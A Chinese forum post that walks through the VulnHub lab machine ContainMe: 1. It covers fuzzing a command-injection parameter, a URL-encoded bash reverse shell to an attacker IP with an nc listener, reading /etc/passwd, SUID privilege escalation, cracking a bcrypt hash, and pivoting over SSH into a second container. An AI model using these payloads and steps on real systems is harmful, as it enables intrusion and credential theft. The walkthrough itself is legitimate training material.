Happiness 发表于 2024-5-7 14:52:27

VuInhub 靶机篇:ContainMe:1

## 0x01 靶机信息

> - **名称**:ContainMe: 1
> - **发布日期**:2021 年 7 月 29 日
> - **作者**:IT Security Works
> - **系列**:ContainMe
> - **难度**:简易
> - **简介**:难度很简单。这是一个CTF。
> - **下载链接**:https://download.vulnhub.com/containme/THM-ContainMe-v4.ova
> - **MD5**:979ED9EA52B3510641AF59A79514C522
> - **网络**:DHCP自动分配

## 0x02 Write-Up
### 2.1 主机扫描

目标机IP:192.168.181.159

使用nmap工具扫描

``` txt
nmap -sS -sV -Pn -sC -p- 192.168.181.159
-sS 隐蔽扫描,-sV 详细版本扫描,-Pn 禁Ping,-sC 默认漏扫扫描脚本   -p- 所有端口
```

目标机开放了ssh,http服务和EIP协议端口

!(https://img-oss.hg021b.org/2024/3/2204b98dd24c98e2f5915e0e5a5e6c1e.png)

### 2.2 访问http服务

访问主页是默认页面

!(https://img-oss.hg021b.org/2024/3/05594f324ba7b81e45f468bc9da8c340.png)

#### 2.2.1 获取网站目录信息

使用dirsearch工具扫描目录

``` txt
dirsearch -u http://192.168.181.159/ -w /usr/share/dirb/wordlists/common.txt
-u 指定url    -w 指定字典文件
```

扫描出index.php和info.php

!(https://img-oss.hg021b.org/2024/3/92c814d1efd1a0893963eee28830bce0.png)

访问index.php,发现返回内容像是执行了ls的命令

!(https://img-oss.hg021b.org/2024/3/ea57d8c9b70a0f055b78fdc3d850e146.png)

查看源码,提示“Where is the path”,可能存在命令注入

!(https://img-oss.hg021b.org/2024/3/24e8c05f3bfeab14aabd039da29b0a4e.png)

#### 2.2.2 Wfuzz 模糊查询

``` txt
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "192.168.181.159/index.php?FUZZ=id" --hh 329
-c 高亮显示,-w 指定字典,-u 指定url --hh 忽悠指定响应字符
```

查询到关键字path

!(https://img-oss.hg021b.org/2024/3/ceac1df89fa0df77c405dd3680e39567.png)

测试命令执行成功

!(https://img-oss.hg021b.org/2024/3/9b91c1d4c04e409dc14d2787db4a77e6.png)

#### 2.2.3 反弹shell

``` shell
bash -c 'bash -i >& /dev/tcp/192.168.181.136/6666 0>&1'
反弹语句
将语句url编码
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.181.136%2F6666%200%3E%261%27
```

!(https://img-oss.hg021b.org/2024/3/aeaf8c39ab5ec5ca959dd113304b8765.png)

在攻击机上开启侦听端口

``` txt
nc -nvlp 6666
```

!(https://img-oss.hg021b.org/2024/3/c8b419757263a765aa396b4b07767d60.png)

执行语句

!(https://img-oss.hg021b.org/2024/3/6a6b5ce4187227e7c5a2a7fad1ccef9b.png)

反弹成功

!(https://img-oss.hg021b.org/2024/3/32c457254bf833212b9575c5abdbf248.png)

查找SUID文件

``` shell
find / -perm -u=s -type f 2>/dev/null
```

发现一个crypt可执行文件

!(https://img-oss.hg021b.org/2024/3/5ae9ae19d336d6f642e6fc4dc3acc5dc.png)

执行无显示

!(https://img-oss.hg021b.org/2024/3/b617c41279f97d2bfcf6c0bd26876fd0.png)

查询用户,发现用户mike
``` shell
cat /etc/passwd
```

!(https://img-oss.hg021b.org/2024/3/394140eaf2502adc35e3940fbdc66c92.png)

发现1cryptupx文件,执行结果和crypt文件一致

!(https://img-oss.hg021b.org/2024/3/3e8c081e7ab6b97dc75d4c3a933f5d2d.png)

crypt对应翻译是加密的意思

#### 2.2.4 逆向代码信息

使用xxd命令查看文件内容

``` shell
xxd -ps /home/mike/1cryptupx
-p:从终端处打印出文件的前16个16进制位,-s:从给定的地址处开始转换
```

将文件中的二进制码转换为十六进制

!(https://img-oss.hg021b.org/2024/3/0c8838613c6cb14dfea86af8e932b033.png)

将十六进制码复制进HxD,导出还原1cryptupx

!(https://img-oss.hg021b.org/2024/3/a0efbfa8d3b2403b6a5df7a1054d2fe0.png)

##### 2.2.4.1 使用Detect It Easy工具扫描

(根据文件名提示,可能使用upx打包)
使用Detect It Easy工具扫描文件,确定使用upx打包

!(https://img-oss.hg021b.org/2024/4/09a579195db0110ba1ce13a46e3c2840.png)

##### 2.2.4.2 使用UPX Tool+工具脱壳

https://www.wmzhe.com/soft-69553.html
(工具下载)

!(https://img-oss.hg021b.org/2024/4/242e17029f05ed4c02366da3006d5066.png)

##### 2.2.4.3 使用ida工具打开

!(https://img-oss.hg021b.org/2024/4/9cc49391c3025819edef42dc12579652.png)

``` hash
读取到这段代码,当我们的值为
"$2b$15$TXl.yuAF49958vsn1dqPfeR9YpyBuWAZrm/dTG5vuG6m3kJkMXWm6"
会执行/bash/bash
```

!(https://img-oss.hg021b.org/2024/4/fd05cdd79315753d24737c1afa7eccce.png)

##### 2.2.4.4 利用John破解hash

``` bash
echo '$2b$15$TXl.yuAF49958vsn1dqPfeR9YpyBuWAZrm/dTG5vuG6m3kJkMXWm6' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
利用rockyou文件爆破hash
```

!(https://img-oss.hg021b.org/2024/4/1ab442a76e459883661b3a0d94b695d7.png)


``` bash
爆破出值为mike,执行./1cryptupx mike
发现还在www-data用户
因为我们的文件是mike用户和组拥有的
```

!(https://img-oss.hg021b.org/2024/4/e46f85fbf3c26810c15b03b613ca0150.png)

我们使用之前那个SUID文件crypt,成功获取root权限

!(https://img-oss.hg021b.org/2024/4/2ae6c4f41a28c7c50139b4b466d5067f.png)

### 2.3 发现主机2

在root目录下并没有发现flag,联想到信息收集时扫描出的EIP协议(它是一种用于虚拟网络中实现弹性IP地址分配的协议)

我们查看本地网络,拥有两个IP(192和172),说明我们在容器中,还存在其他容器

!(https://img-oss.hg021b.org/2024/4/09f58b98e75b413ba215a983a7465feb.png)

回到开头路径发现的info.php文件,可以发现使用了lxd容器

!(https://img-oss.hg021b.org/2024/4/c527aa5c8a89134256c8829601fec221.png)

#### 2.3.1 使用ping探测存活IP

``` bash
for i in {1..254} ;do (ping 172.16.20.$i -c 1 -w 5 >/dev/null && echo "172.16.20.$i" &) ;done
-c 1:这告诉`ping`只发送一个ICMP回显请求。
-w 5:设置超时为5秒。如果在这个时间内没有收到响应,`ping`命令就会超时。
&:后台执行
```
发下目标机器:172.16.20.6


!(https://img-oss.hg021b.org/2024/4/f548c053353b3fa5eafec2747346a349.png)

整理host1发现mike目录下有ssh密钥,发现是属于目标机的

``` bash
ssh mike@172.16.20.6 -i id_rsa
-i 使用密钥登录
```

!(https://img-oss.hg021b.org/2024/4/85e8e90b51718d43700c3a3d4d0d900f.png)

登录后收集信息,发现有mysql服务

``` bash
netstat -tunlp
```

!(https://img-oss.hg021b.org/2024/4/62a01bb2871d6a07cc4cdbc157cc67e8.png)

使用弱密码password成功登录

!(https://img-oss.hg021b.org/2024/4/6829a9d207677c3dc5ece5b8c0d64b46.png)

成功得到了root的密码,bjsig4868fgjjeog

!(https://img-oss.hg021b.org/2024/4/dad38ac18a4930e6b9d5f3d5e7a757bf.png)

#### 2.3.2 获得flag

登录root,解压mike压缩包,获得flag

!(https://img-oss.hg021b.org/2024/4/0ced484d1612cce8982652a2de100fe2.png)



页: [1]
查看完整版本: VuInhub 靶机篇:ContainMe:1